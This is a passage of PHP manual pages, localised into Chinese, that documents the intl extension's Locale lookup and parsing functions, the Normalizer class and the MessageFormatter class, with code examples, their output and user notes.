An array containing a list of language tags to compare to locale. Maximum 100 items allowed.

locale

The locale to use as the language range when matching.

canonicalize

If true, the arguments will be converted to canonical form before matching.

defaultLocale

The locale to use if no match is found.

返回值

The closest matching language tag or default value.

当 locale 的长度超过 INTL_MAX_LOCALE_LEN 时返回 null。

更新日志

版本 | 说明
7.4.0 | defaultLocale is nullable now.

示例

Example #1 locale_lookup() example

<?php
$arr = array(
'de-DEVA',
'de-DE-1996',
'de',
'de-De'
);
echo locale_lookup($arr, 'de-DE-1996-x-prv1-prv2', true, 'en_US');
?>

Example #2 OO example

<?php
$arr = array(
'de-DEVA',
'de-DE-1996',
'de',
'de-De'
);
echo Locale::lookup($arr, 'de-DE-1996-x-prv1-prv2', true, 'en_US');
?>

以上示例会输出：

de_de_1996

参见

  • locale_filter_matches() - Checks if a language tag filter matches with locale

User Contributed Notes

Anonymous 08-May-2015 10:59
Note that this method does not understand "similar" languages, so the following:

    Locale::lookup(["en-US"], "en-GB", false);
Or:
    Locale::lookup(["es-ES"], "es-CO", false);

Does not work as you would expect (empty result). To get a match in those cases you will have to use two letter language codes instead:

    Locale::lookup(["en"], "en-GB", false);
Or:
    Locale::lookup(["es"], "es-CO", false);

These do return 'en' and 'es' respectively.
vladimir at bashkirtsev dot com 28-Jul-2014 03:22
It worth to note that if $langtag array is empty this function returns empty string and not $default . Use array(false) if your $langtag array is empty in order to get default locale.


Returns a key-value array of locale ID subtag elements

  • ? Locale::lookup
  • Locale::setDefault ?
  • PHP Manual
  • Locale
  • Returns a key-value array of locale ID subtag elements

Locale::parseLocale

locale_parse

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

Locale::parseLocale -- locale_parse — Returns a key-value array of locale ID subtag elements

说明

面向对象风格

public static Locale::parseLocale(string $locale): ?array

过程化风格

locale_parse(string $locale): ?array

Returns a key-value array of locale ID subtag elements.

参数

locale

The locale to extract the subtag array from. Note: The 'variant' and 'private' subtags can take maximum 15 values whereas 'extlang' can take maximum 3 values.

返回值

Returns an array containing a list of key-value pairs, where the keys identify the particular locale ID subtags, and the values are the associated subtag values. The array will be ordered as the locale id subtags e.g. in the locale id if variants are '-varX-varY-varZ' then the returned array will have variant0=>varX , variant1=>varY , variant2=>varZ

Returns null when the length of locale exceeds INTL_MAX_LOCALE_LEN.

示例

Example #1 locale_parse() example

<?php
$arr = locale_parse('sl-Latn-IT-nedis');
if ($arr) {
foreach ($arr as $key => $value) {
echo "$key : $value , ";
}
}
?>

Example #2 OO example

<?php
$arr = Locale::parseLocale('sl-Latn-IT-nedis');
if ($arr) {
foreach ($arr as $key => $value) {
echo "$key : $value , ";
}
}
?>

以上示例会输出：

language : sl , script : Latn , region : IT , variant0 : NEDIS ,

参见

  • locale_compose() - Returns a correctly ordered and delimited locale ID

User Contributed Notes

There are no user contributed notes for this page.


Sets the default runtime locale

  • ? Locale::parseLocale
  • Normalizer ?
  • PHP Manual
  • Locale
  • Sets the default runtime locale

Locale::setDefault

locale_set_default

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

Locale::setDefault -- locale_set_default — Sets the default runtime locale

说明

面向对象风格

public static Locale::setDefault(string $locale): bool

过程化风格

locale_set_default(string $locale): bool

Sets the default runtime locale to locale. This changes the value of INTL global 'default_locale' locale identifier. UAX #35 extensions are accepted.

参数

locale

Is a BCP 47 compliant language tag.

返回值

Returns true.

示例

Example #1 locale_set_default() example

<?php
locale_set_default('de-DE');
echo locale_get_default();
?>

Example #2 OO example

<?php
Locale::setDefault('de-DE');
echo Locale::getDefault();
?>

以上示例会输出：

de-DE

参见

  • locale_get_default() - Gets the default locale value from the INTL global 'default_locale'

User Contributed Notes

There are no user contributed notes for this page.


The Normalizer class

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

简介

Normalization is a process that involves transforming characters and sequences of characters into a formally-defined underlying representation. This process is most important when text needs to be compared for sorting and searching, but it is also used when storing text to ensure that the text is stored in a consistent representation.

The Unicode Consortium has defined a number of normalization forms reflecting the various needs of applications:

  • Normalization Form D (NFD) - Canonical Decomposition
  • Normalization Form C (NFC) - Canonical Decomposition followed by Canonical Composition
  • Normalization Form KD (NFKD) - Compatibility Decomposition
  • Normalization Form KC (NFKC) - Compatibility Decomposition followed by Canonical Composition
The different forms are defined in terms of a set of transformations on the text, transformations that are expressed by both an algorithm and a set of data files.

类摘要

class Normalizer {
/* 常量 */
public const int FORM_D;
public const int NFD;
public const int FORM_KD;
public const int NFKD;
public const int FORM_C;
public const int NFC;
public const int FORM_KC;
public const int NFKC;
public const int FORM_KC_CF;
public const int NFKC_CF;
/* 方法 */
public static getRawDecomposition(string $string, int $form = Normalizer::FORM_C): ?string
public static isNormalized(string $string, int $form = Normalizer::FORM_C): bool
public static normalize(string $string, int $form = Normalizer::FORM_C): string|false
}

预定义常量

The following constants define the normalization form used by the normalizer:

Normalizer::FORM_C
Normalization Form C (NFC) - Canonical Decomposition followed by Canonical Composition
Normalizer::FORM_D
Normalization Form D (NFD) - Canonical Decomposition
Normalizer::NFD

Normalizer::FORM_KC
Normalization Form KC (NFKC) - Compatibility Decomposition, followed by Canonical Composition
Normalizer::NFKC

Normalizer::FORM_KC_CF

Normalizer::FORM_KD
Normalization Form KD (NFKD) - Compatibility Decomposition
Normalizer::NFKD

Normalizer::NFC

Normalizer::NFKC_CF

参见

  • » Unicode Normalization
  • » Unicode Normalization FAQ
  • » ICU User Guide - Normalization
  • » ICU API Reference - Normalization

更新日志

版本 | 说明
8.0.0 | Normalizer::NONE has been removed.

Table of Contents

  • Normalizer::getRawDecomposition — Gets the Decomposition_Mapping property for the given UTF-8 encoded code point
  • Normalizer::isNormalized — Checks if the provided string is already in the specified normalization form
  • Normalizer::normalize — Normalizes the input provided and returns the normalized string

User Contributed Notes

There are no user contributed notes for this page.


Gets the Decomposition_Mapping property for the given UTF-8 encoded code point

  • ? Normalizer
  • Normalizer::isNormalized ?
  • PHP Manual
  • Normalizer
  • Gets the Decomposition_Mapping property for the given UTF-8 encoded code point

Normalizer::getRawDecomposition

normalizer_get_raw_decomposition

(PHP 7 >= 7.3, PHP 8)

Normalizer::getRawDecomposition -- normalizer_get_raw_decomposition — Gets the Decomposition_Mapping property for the given UTF-8 encoded code point

说明

面向对象风格

public static Normalizer::getRawDecomposition(string $string, int $form = Normalizer::FORM_C): ?string

过程化风格

normalizer_get_raw_decomposition(string $string, int $form = Normalizer::FORM_C): ?string

Gets the Decomposition_Mapping property, as specified in the Unicode Character Database (UCD), for the given UTF-8 encoded code point.

参数

string

The input string, which should be a single, UTF-8 encoded, code point.

返回值

Returns a string containing the Decomposition_Mapping property, if present in the UCD.

Returns null if there is no Decomposition_Mapping property for the character.

示例

Example #1 Normalizer::getRawDecomposition() example

<?php

$result = "";
$strings = [
"a",
"\u{FFDA}",
"\u{FDFA}",
"",
"aa",
"\xF5",
];

foreach ($strings as $string) {
$decomposition = Normalizer::getRawDecomposition($string);
// $decomposition = normalizer_get_raw_decomposition($string); Procedural way

$error_code = intl_get_error_code();
$error_message = intl_get_error_message();

$string_hex = bin2hex($string);
$result .= "---------------------\n";

if ($decomposition === null) {
$result .= "'$string_hex' has no decomposition mapping\n" ;
} else {
$result .= "'$string_hex' has the decomposition mapping '" . bin2hex($decomposition) . "'\n" ;
}

$result .= "error info: '$error_message' ($error_code)\n";
}

echo $result;
?>

以上示例会输出：

---------------------
'61' has no decomposition mapping
error info: 'U_ZERO_ERROR' (0)
---------------------
'efbf9a' has the decomposition mapping 'e385a1'
error info: 'U_ZERO_ERROR' (0)
---------------------
'efb7ba' has the decomposition mapping 'd8b5d984d98920d8a7d984d984d98720d8b9d984d98ad98720d988d8b3d984d985'
error info: 'U_ZERO_ERROR' (0)
---------------------
'' has no decomposition mapping
error info: 'Input string must be exactly one UTF-8 encoded code point long.: U_ILLEGAL_ARGUMENT_ERROR' (1)
---------------------
'6161' has no decomposition mapping
error info: 'Input string must be exactly one UTF-8 encoded code point long.: U_ILLEGAL_ARGUMENT_ERROR' (1)
---------------------
'f5' has no decomposition mapping
error info: 'Code point out of range: U_ILLEGAL_ARGUMENT_ERROR' (1)

参见

  • Normalizer::normalize() - Normalizes the input provided and returns the normalized string
  • Normalizer::isNormalized() - Checks if the provided string is already in the specified normalization form

User Contributed Notes

There are no user contributed notes for this page.


Checks if the provided string is already in the specified normalization form

  • ? Normalizer::getRawDecomposition
  • Normalizer::normalize ?
  • PHP Manual
  • Normalizer
  • Checks if the provided string is already in the specified normalization form

Normalizer::isNormalized

normalizer_is_normalized

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

Normalizer::isNormalized -- normalizer_is_normalized — Checks if the provided string is already in the specified normalization form

说明

面向对象风格

public static Normalizer::isNormalized(string $string, int $form = Normalizer::FORM_C): bool

过程化风格

normalizer_is_normalized(string $string, int $form = Normalizer::FORM_C): bool

Checks if the provided string is already in the specified normalization form.

参数

string

The input string to normalize

form

One of the normalization forms.

返回值

true if normalized, false otherwise or if there an error

示例

Example #1 normalizer_is_normalized() example

<?php
$char_A_ring = "\xC3\x85"; // 'LATIN CAPITAL LETTER A WITH RING ABOVE' (U+00C5)
$char_combining_ring_above = "\xCC\x8A"; // 'COMBINING RING ABOVE' (U+030A)

$char_orig = 'A' . $char_combining_ring_above;
$char_norm = normalizer_normalize( 'A' . $char_combining_ring_above, Normalizer::FORM_C );

echo ( normalizer_is_normalized($char_orig, Normalizer::FORM_C) ) ? "normalized" : "not normalized";
echo '; ';
echo ( normalizer_is_normalized($char_norm, Normalizer::FORM_C) ) ? "normalized" : "not normalized";
?>

Example #2 OO example

<?php
$char_A_ring = "\xC3\x85"; // 'LATIN CAPITAL LETTER A WITH RING ABOVE' (U+00C5)
$char_combining_ring_above = "\xCC\x8A"; // 'COMBINING RING ABOVE' (U+030A)

$char_orig = 'A' . $char_combining_ring_above;
$char_norm = Normalizer::normalize( 'A' . $char_combining_ring_above, Normalizer::FORM_C );

echo ( Normalizer::isNormalized($char_orig, Normalizer::FORM_C) ) ? "normalized" : "not normalized";
echo '; ';
echo ( Normalizer::isNormalized($char_norm, Normalizer::FORM_C) ) ? "normalized" : "not normalized";
?>

以上示例会输出：

not normalized; normalized

参见

  • normalizer_normalize() - Normalizes the input provided and returns the normalized string

User Contributed Notes

There are no user contributed notes for this page.


Normalizes the input provided and returns the normalized string

  • ? Normalizer::isNormalized
  • MessageFormatter ?
  • PHP Manual
  • Normalizer
  • Normalizes the input provided and returns the normalized string

Normalizer::normalize

normalizer_normalize

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

Normalizer::normalize -- normalizer_normalize — Normalizes the input provided and returns the normalized string

说明

面向对象风格

public static Normalizer::normalize(string $string, int $form = Normalizer::FORM_C): string|false

过程化风格

normalizer_normalize(string $string, int $form = Normalizer::FORM_C): string|false

Normalizes the input provided and returns the normalized string

参数

string

The input string to normalize

form

One of the normalization forms.

返回值

The normalized string or false if an error occurred.

示例

Example #1 normalizer_normalize() example

<?php
$char_A_ring = "\xC3\x85"; // 'LATIN CAPITAL LETTER A WITH RING ABOVE' (U+00C5)
$char_combining_ring_above = "\xCC\x8A"; // 'COMBINING RING ABOVE' (U+030A)

$char_1 = normalizer_normalize( $char_A_ring, Normalizer::FORM_C );
$char_2 = normalizer_normalize( 'A' . $char_combining_ring_above, Normalizer::FORM_C );

echo urlencode($char_1);
echo ' ';
echo urlencode($char_2);
?>

Example #2 OO example

<?php
$char_A_ring = "\xC3\x85"; // 'LATIN CAPITAL LETTER A WITH RING ABOVE' (U+00C5)
$char_combining_ring_above = "\xCC\x8A"; // 'COMBINING RING ABOVE' (U+030A)

$char_1 = Normalizer::normalize( $char_A_ring, Normalizer::FORM_C );
$char_2 = Normalizer::normalize( 'A' . $char_combining_ring_above, Normalizer::FORM_C );

echo urlencode($char_1);
echo ' ';
echo urlencode($char_2);
?>

以上示例会输出：

%C3%85 %C3%85

参见

  • normalizer_is_normalized() - Checks if the provided string is already in the specified normalization form

User Contributed Notes

anrdaemon at freemail dot ru 12-Feb-2018 11:53
"If you get error messages while starting apache of xampp package with activated extension=intl.dll," do NOT copy any files around.

Use Apache's "LoadFile ..." functionality to load any missing DLL's not found within a %PATH%. Even php##ts.dll itself.
spam at oscar dot xyz 25-Feb-2015 02:39
You can use the 'original' abbreviations if you feel more comfortable:

<?php
Normalizer::NFD;
Normalizer::NFKD;
Normalizer::NFC;
Normalizer::NFKC;
?>


The MessageFormatter class

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

简介

MessageFormatter is a concrete class that enables users to produce concatenated, language-neutral messages. The methods supplied in this class are used to build all the messages that are seen by end users.

The MessageFormatter class assembles messages from various fragments (such as text fragments, numbers, and dates) supplied by the program. Because of the MessageFormatter class, the program does not need to know the order of the fragments. The class uses the formatting specifications for the fragments to assemble them into a message that is contained in a single string within a resource bundle. For example, MessageFormatter enables you to print the phrase "Finished printing x out of y files..." in a manner that still allows for flexibility in translation.

Previously, an end user message was created as a sentence and handled as a string. This procedure created problems for localizers because the sentence structure, word order, number format and so on are very different from language to language. The language-neutral way to create messages keeps each part of the message separate and provides keys to the data. Using these keys, the MessageFormatter class can concatenate the parts of the message, localize them, and display a well-formed string to the end user.

MessageFormatter takes a set of objects, formats them, and then inserts the formatted strings into the pattern at the appropriate places. Choice formats can be used in conjunction with MessageFormatter to handle plurals, match numbers, and select from an array of items. Typically, the message format will come from resources and the arguments will be dynamically set at runtime.

类摘要

class MessageFormatter {
/* 方法 */
public __construct(string $locale, string $pattern)
public static create(string $locale, string $pattern): ?MessageFormatter
public static formatMessage(string $locale, string $pattern, array $values): string|false
public format(array $values): string|false
public getErrorCode(): int
public getErrorMessage(): string
public getLocale(): string
public getPattern(): string|false
public static parseMessage(string $locale, string $pattern, string $message): array|false
public parse(string $string): array|false
public setPattern(string $pattern): bool
}

参见

  • » ICU formatting documentation
  • » ICU message formatting description
  • » ICU message formatters
  • » ICU choice formatters

Table of Contents

  • MessageFormatter::create — Constructs a new Message Formatter
  • MessageFormatter::formatMessage — Quick format message
  • MessageFormatter::format — Format the message
  • MessageFormatter::getErrorCode — Get the error code from last operation
  • MessageFormatter::getErrorMessage — Get the error text from the last operation
  • MessageFormatter::getLocale — Get the locale for which the formatter was created
  • MessageFormatter::getPattern — Get the pattern used by the formatter
  • MessageFormatter::parseMessage — Quick parse input string
  • MessageFormatter::parse — Parse input string according to pattern
  • MessageFormatter::setPattern — Set the pattern used by the formatter

User Contributed Notes

from dot php dot net at NOSPAM dot brainbox dot cz 02-Oct-2014 10:18
MessageFormatter does not work with DateTime instances as parameters in PHP < 5.5. Instance will be converted to timestamp with value 0 (e.g. 1970-01-01) and following Notice will be raised: ?Object of class DateTime could not be converted to int". You have to manually convert the instance to timestamp in these old PHP versions.

<?php
$datetime = new DateTime();
if (PHP_VERSION_ID < 50500) { // PHP < 5.5 needs conversion to timestamp
   MessageFormatter::formatMessage('en_US', 'Today is {0, date, full}.', array($datetime->getTimestamp()));
} else {
   // current code
   MessageFormatter::formatMessage('en_US', 'Today is {0, date, full}.', array($datetime));
}
?>


Constructs a new Message Formatter

  • ? MessageFormatter
  • MessageFormatter::formatMessage ?
  • PHP Manual
  • MessageFormatter
  • Constructs a new Message Formatter

MessageFormatter::create

MessageFormatter::__construct

msgfmt_create

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

MessageFormatter::create -- MessageFormatter::__construct -- msgfmt_create — Constructs a new Message Formatter

说明

面向对象风格 (method)

public static MessageFormatter::create(string $locale, string $pattern): ?MessageFormatter

面向对象风格 (constructor):

public MessageFormatter::__construct(string $locale, string $pattern)

过程化风格

msgfmt_create(string $locale, string $pattern): ?MessageFormatter

Constructs a new Message Formatter

参数

locale

The locale to use when formatting arguments

pattern

The pattern string to stick arguments into. The pattern uses an 'apostrophe-friendly' syntax; see » Quoting/Escaping for details.

返回值

The formatter object, or null on failure.

错误／异常

When invoked as constructor, on failure an IntlException is thrown.

示例

Example #1 msgfmt_create() example

<?php
$fmt = msgfmt_create("en_US", "{0,number,integer} monkeys on {1,number,integer} trees make {2,number} monkeys per tree");
echo msgfmt_format($fmt, array(4560, 123, 4560/123));
$fmt = msgfmt_create("de", "{0,number,integer} Affen auf {1,number,integer} B?umen sind {2,number} Affen pro Baum");
echo msgfmt_format($fmt, array(4560, 123, 4560/123));
?>

Example #2 OO example

<?php
$fmt = new MessageFormatter("en_US", "{0,number,integer} monkeys on {1,number,integer} trees make {2,number} monkeys per tree");
echo $fmt->format(array(4560, 123, 4560/123));
$fmt = new MessageFormatter("de", "{0,number,integer} Affen auf {1,number,integer} B?umen sind {2,number} Affen pro Baum");
echo $fmt->format(array(4560, 123, 4560/123));
?>

以上示例会输出：

4,560 monkeys on 123 trees make 37.073 monkeys per tree
4.560 Affen auf 123 B?umen sind 37,073 Affen pro Baum

参见

  • msgfmt_format() - Format the message
  • msgfmt_parse() - Parse input string according to pattern
  • msgfmt_get_error_code() - Get the error code from last operation
  • msgfmt_get_error_message() - Get the error text from the last operation

User Contributed Notes

ezarko at synacor dot com 05-Oct-2009 03:18
Beware: passing an empty string for format returns null, not a formatter which returns empty strings.

$ php -r "print_r(new MessageFormatter('en_US',' '));"
MessageFormatter Object
(
)
$ php -r "print_r(new MessageFormatter('en_US',''));"


Quick format message

  • ? MessageFormatter::create
  • MessageFormatter::format ?
  • PHP Manual
  • MessageFormatter
  • Quick format message

MessageFormatter::formatMessage

msgfmt_format_message

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

MessageFormatter::formatMessage -- msgfmt_format_message — Quick format message

说明

面向对象风格

public static MessageFormatter::formatMessage(string $locale, string $pattern, array $values): string|false

过程化风格

msgfmt_format_message(string $locale, string $pattern, array $values): string|false

Quick formatting function that formats the string without having to explicitly create the formatter object. Use this function when the format operation is done only once and does not need any parameters or state to be kept or when wanting to customize the output by providing additional context to ICU directly.

参数

locale

The locale to use for formatting locale-dependent parts

pattern

The pattern string to insert things into. The pattern uses an 'apostrophe-friendly' syntax; see » Quoting/Escaping for details.

values

The array of values to insert into the format string

返回值

The formatted pattern string or false if an error occurred

示例

Example #1 msgfmt_format_message() example

<?php
echo msgfmt_format_message("en_US", "{0,number,integer} monkeys on {1,number,integer} trees make {2,number} monkeys per tree\n", array(4560, 123, 4560/123));
echo msgfmt_format_message("de", "{0,number,integer} Affen auf {1,number,integer} B?umen sind {2,number} Affen pro Baum\n", array(4560, 123, 4560/123));
echo msgfmt_format_message("en", 'You finished {place, selectordinal, one {#st} two {#nd} few {#rd} other {#th}}!', ['place' => 3]), "\n";
echo msgfmt_format_message("en",
"There {apple, plural,
=0 {are no apples}
=1 {is one apple...}
other {are # apples!}
}",
['apple' => 0]
), "\n";

Example #2 OO example

<?php
echo MessageFormatter::formatMessage("en_US", "{0,number,integer} monkeys on {1,number,integer} trees make {2,number} monkeys per tree\n", array(4560, 123, 4560/123));
echo MessageFormatter::formatMessage("de", "{0,number,integer} Affen auf {1,number,integer} B?umen sind {2,number} Affen pro Baum\n", array(4560, 123, 4560/123));
echo MessageFormatter::formatMessage("en", 'You finished {place, selectordinal, one {#st} two {#nd} few {#rd} other {#th}}!', ['place' => 3]), "\n";
echo MessageFormatter::formatMessage("en",
"There {apple, plural,
=0 {are no apples}
=1 {is one apple...}
other {are # apples!}
}",
['apple' => 0]
), "\n";

以上示例会输出：

4,560 monkeys on 123 trees make 37.073 monkeys per tree
4.560 Affen auf 123 B?umen sind 37,073 Affen pro Baum
You finished 3rd!
There are no apples

Example #3 Instructing ICU to format currency with common and with narrow currency symbol

Requires ICU ≥ 67.

<?php
echo msgfmt_format_message("cs_CZ", "{0, number, :: currency/CAD}", array(123.45));
echo msgfmt_format_message("cs_CZ", "{0, number, :: currency/CAD unit-width-narrow}", array(123.45));

以上示例会输出：

123,45 CA$
123,45 $

参见

  • msgfmt_create() - Constructs a new Message Formatter
  • msgfmt_parse() - Parse input string according to pattern
  • msgfmt_get_error_code() - Get the error code from last operation
  • msgfmt_get_error_message() - Get the error text from the last operation

User Contributed Notes

ricardoyubal at gmail dot com 06-Jul-2021 09:31
Although not mentioned, single quotes (') are used internally as escaping characters. So if you want to have them in your output, you should escape them with another single quote. See examples below.

<?php

// The value {foo} should be enclosed in single quotes
echo msgfmt_format_message('en_US', "The value '{foo}' should be enclosed in single quotes", ['foo' => 'bar']);

// The value 'bar' should be enclosed in single quotes
echo msgfmt_format_message('en_US', "The value ''{foo}'' should be enclosed in single quotes", ['foo' => 'bar']);

?>
contact at sowapps dot com 21-Jun-2021 09:54
For now, there is now way to define a default value.

<?php
echo msgfmt_format_message('fr_FR', '{distance, plural, =0{Here}other{# km}}', []);
// Show {distance}
?>
zlobnygrif at gmail dot com 10-Jul-2013 05:59
<?php
var_dump(
  msgfmt_format_message('ru_RU', 'The value of {somekey} is {0, choice, 0 #less 12| 12 #between 12 and 32| 32 #more than 32}', ['SomeAnotherKey' => -1]),
  msgfmt_format_message('ru_RU', 'The value of {somekey} is {0, choice, 0 #less 12| 12 #between 12 and 32| 32 #more than 32}', [14]),
  msgfmt_format_message('ru_RU', 'The value of {somekey} is {0, choice, 0 #less 12| 12 #between 12 and 32| 32 #more than 32}', [133]),
  msgfmt_format_message('ru_RU', '{0, plural, =0{Zero}=1{One}other{Unknown #}}', [0]),
  msgfmt_format_message('ru_RU', '{0, plural, =0{Zero}=1{One}other{Unknown #}}', [1]),
  msgfmt_format_message('ru_RU', '{0, plural, =0{Zero}=1{One}other{Unknown #}}', [2]),
  msgfmt_format_message('ru_RU', '{0, select, somevalue{This is some value} other{Unknown value}}', ['somevalue']),
  msgfmt_format_message('ru_RU', '{0, select, somevalue{This is some value} other{Unknown value "{0}"}}', ['somevalue2'])
);

var_dump(
  msgfmt_format_message('en_GB', 'Peter has {0, plural, =0{no cat} =1{a cat} other{# cats}}', [0]),
  msgfmt_format_message('en_GB', 'Peter has {0, plural, =0{no cat} =1{a cat} other{# cats}}', [1]),
  msgfmt_format_message('en_GB', 'Peter has {0, plural, =0{no cat} =1{a cat} other{# cats}}', [2])
);
?>

Output (PHP 5.4.17RC1)
==========================
string 'The value of -1 is less 12' (length=26)
string 'The value of 14 is between 12 and 32' (length=36)
string 'The value of 133 is more than 32' (length=32)
string 'Zero' (length=4)
string 'One' (length=3)
string 'Unknown 2' (length=9)
string 'This is some value' (length=18)
string 'Unknown value "somevalue2"' (length=26)
string 'Peter has no cat' (length=16)
string 'Peter has a cat' (length=15)
string 'Peter has 2 cats' (length=16)


Format the message

  • ? MessageFormatter::formatMessage
  • MessageFormatter::getErrorCode ?
  • PHP Manual
  • MessageFormatter
  • Format the message

MessageFormatter::format

msgfmt_format

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

MessageFormatter::format -- msgfmt_format — Format the message

说明

面向对象风格

public MessageFormatter::format(array $values): string|false

过程化风格

msgfmt_format(MessageFormatter $formatter, array $values): string|false

Format the message by substituting the data into the format string according to the locale rules

参数

formatter

The message formatter

values

Arguments to insert into the format string

返回值

The formatted string, or false if an error occurred

示例

Example #1 msgfmt_format() example

<?php
$fmt = msgfmt_create("en_US", "{0,number,integer} monkeys on {1,number,integer} trees make {2,number} monkeys per tree");
echo msgfmt_format($fmt, array(4560, 123, 4560/123));
$fmt = msgfmt_create("de", "{0,number,integer} Affen auf {1,number,integer} B?umen sind {2,number} Affen pro Baum");
echo msgfmt_format($fmt, array(4560, 123, 4560/123));
?>

Example #2 OO example

<?php
$fmt = new MessageFormatter("en_US", "{0,number,integer} monkeys on {1,number,integer} trees make {2,number} monkeys per tree");
echo $fmt->format(array(4560, 123, 4560/123));
$fmt = new MessageFormatter("de", "{0,number,integer} Affen auf {1,number,integer} B?umen sind {2,number} Affen pro Baum");
echo $fmt->format(array(4560, 123, 4560/123));
?>

以上示例会输出：

4,560 monkeys on 123 trees make 37.073 monkeys per tree
4.560 Affen auf 123 B?umen sind 37,073 Affen pro Baum

参见

  • msgfmt_create() - Constructs a new Message Formatter
  • msgfmt_parse() - Parse input string according to pattern
  • msgfmt_format_message() - Quick format message
  • msgfmt_get_error_code() - Get the error code from last operation
  • msgfmt_get_error_message() - Get the error text from the last operation

User Contributed Notes

There are no user contributed notes for this page.


Get the error code from last operation

  • ? MessageFormatter::format
  • MessageFormatter::getErrorMessage ?
  • PHP Manual
  • MessageFormatter
  • Get the error code from last operation

MessageFormatter::getErrorCode

msgfmt_get_error_code

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

MessageFormatter::getErrorCode -- msgfmt_get_error_code — Get the error code from last operation

说明

面向对象风格

public MessageFormatter::getErrorCode(): int

过程化风格

msgfmt_get_error_code(MessageFormatter $formatter): int

Get the error code from last operation.

参数

formatter

The message formatter

返回值

The error code, one of UErrorCode values. Initial value is U_ZERO_ERROR.

参见

  • msgfmt_get_error_message() - Get the error text from the last operation
  • intl_get_error_code() - Get the last error code
  • intl_is_failure() - Check whether the given error code indicates failure

User Contributed Notes

There are no user contributed notes for this page.


Get the error text from the last operation

  • ? MessageFormatter::getErrorCode
  • MessageFormatter::getLocale ?
  • PHP Manual
  • MessageFormatter
  • Get the error text from the last operation

MessageFormatter::getErrorMessage

msgfmt_get_error_message

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

MessageFormatter::getErrorMessage -- msgfmt_get_error_message — Get the error text from the last operation

说明

面向对象风格

public MessageFormatter::getErrorMessage(): string

过程化风格

msgfmt_get_error_message(MessageFormatter $formatter): string

Get the error text from the last operation.

参数

formatter

The message formatter

返回值

Description of the last error.

示例

Example #1 msgfmt_get_error_message() example

<?php
$fmt = msgfmt_create("en_US", "{0, number} monkeys on {1, number} trees");
$str = msgfmt_format($fmt, array());
if(!$str) {
echo "ERROR: ".msgfmt_get_error_message($fmt) . " (" . msgfmt_get_error_code($fmt) . ")\n";
}
?>

Example #2 OO example

<?php
$fmt = new MessageFormatter("en_US", "{0, number} monkeys on {1, number} trees");
$str = $fmt->format(array());
if(!$str) {
echo "ERROR: ".$fmt->getErrorMessage() . " (" . $fmt->getErrorCode() . ")\n";
}
?>

以上示例会输出：

ERROR: msgfmt_format: not enough parameters: U_ILLEGAL_ARGUMENT_ERROR (1)

参见

  • msgfmt_get_error_code() - Get the error code from last operation
  • intl_get_error_code() - Get the last error code
  • intl_is_failure() - Check whether the given error code indicates failure

User Contributed Notes

There are no user contributed notes for this page.


Get the locale for which the formatter was created

  • ? MessageFormatter::getErrorMessage
  • MessageFormatter::getPattern ?
  • PHP Manual
  • MessageFormatter
  • Get the locale for which the formatter was created

MessageFormatter::getLocale

msgfmt_get_locale

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

MessageFormatter::getLocale -- msgfmt_get_locale — Get the locale for which the formatter was created

说明

面向对象风格

public MessageFormatter::getLocale(): string

过程化风格

msgfmt_get_locale(MessageFormatter $formatter): string

Get the locale for which the formatter was created.

参数

formatter

The formatter resource

返回值

The locale name

示例

Example #1 msgfmt_get_locale() example

<?php
$fmt = msgfmt_create('en_US', "Number {0,number}");
echo msgfmt_get_locale($fmt);
?>

Example #2 OO example

<?php
$fmt = new MessageFormatter('en_US', "Number {0,number}");
echo $fmt->getLocale();
?>

以上示例会输出：

en_US

参见

  • msgfmt_create() - Constructs a new Message Formatter

User Contributed Notes

There are no user contributed notes for this page.


Get the pattern used by the formatter

  • ? MessageFormatter::getLocale
  • MessageFormatter::parseMessage ?
  • PHP Manual
  • MessageFormatter
  • Get the pattern used by the formatter

MessageFormatter::getPattern

msgfmt_get_pattern

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

MessageFormatter::getPattern -- msgfmt_get_pattern — Get the pattern used by the formatter

说明

面向对象风格

public MessageFormatter::getPattern(): string|false

过程化风格

msgfmt_get_pattern(MessageFormatter $formatter): string|false

Get the pattern used by the formatter

参数

formatter

The message formatter

返回值

The pattern string for this message formatter, 或者在失败时返回 false.

示例

Example #1 msgfmt_get_pattern() example

<?php
$fmt = msgfmt_create( "en_US", "{0, number} monkeys on {1, number} trees" );
echo "Default pattern: '" . msgfmt_get_pattern( $fmt ) . "'\n";
echo "Formatting result: " . msgfmt_format( $fmt, array(123, 456) ) . "\n";

msgfmt_set_pattern( $fmt, "{0, number} trees hosting {1, number} monkeys" );
echo "New pattern: '" . msgfmt_get_pattern( $fmt ) . "'\n";
echo "Formatted number: " . msgfmt_format( $fmt, array(123, 456) ) . "\n";
?>

Example #2 OO example

<?php
$fmt = new MessageFormatter( "en_US", "{0, number} monkeys on {1, number} trees" );
echo "Default pattern: '" . $fmt->getPattern() . "'\n";
echo "Formatting result: " . $fmt->format(array(123, 456)) . "\n";

$fmt->setPattern("{0, number} trees hosting {1, number} monkeys" );
echo "New pattern: '" . $fmt->getPattern() . "'\n";
echo "Formatted number: " . $fmt->format(array(123, 456)) . "\n";
?>

以上示例会输出：

Default pattern: '{0,number} monkeys on {1,number} trees'
Formatting result: 123 monkeys on 456 trees
New pattern: '{0,number} trees hosting {1,number} monkeys'
Formatted number: 123 trees hosting 456 monkeys

参见

  • msgfmt_create() - Constructs a new Message Formatter
  • msgfmt_set_pattern() - Set the pattern used by the formatter

User Contributed Notes

There are no user contributed notes for this page.


Quick parse input string

  • ? MessageFormatter::getPattern
  • MessageFormatter::parse ?
  • PHP Manual
  • MessageFormatter
  • Quick parse input string

MessageFormatter::parseMessage

msgfmt_parse_message

(PHP 5 >= 5.3.0, PHP 7, PHP 8, PECL intl >= 1.0.0)

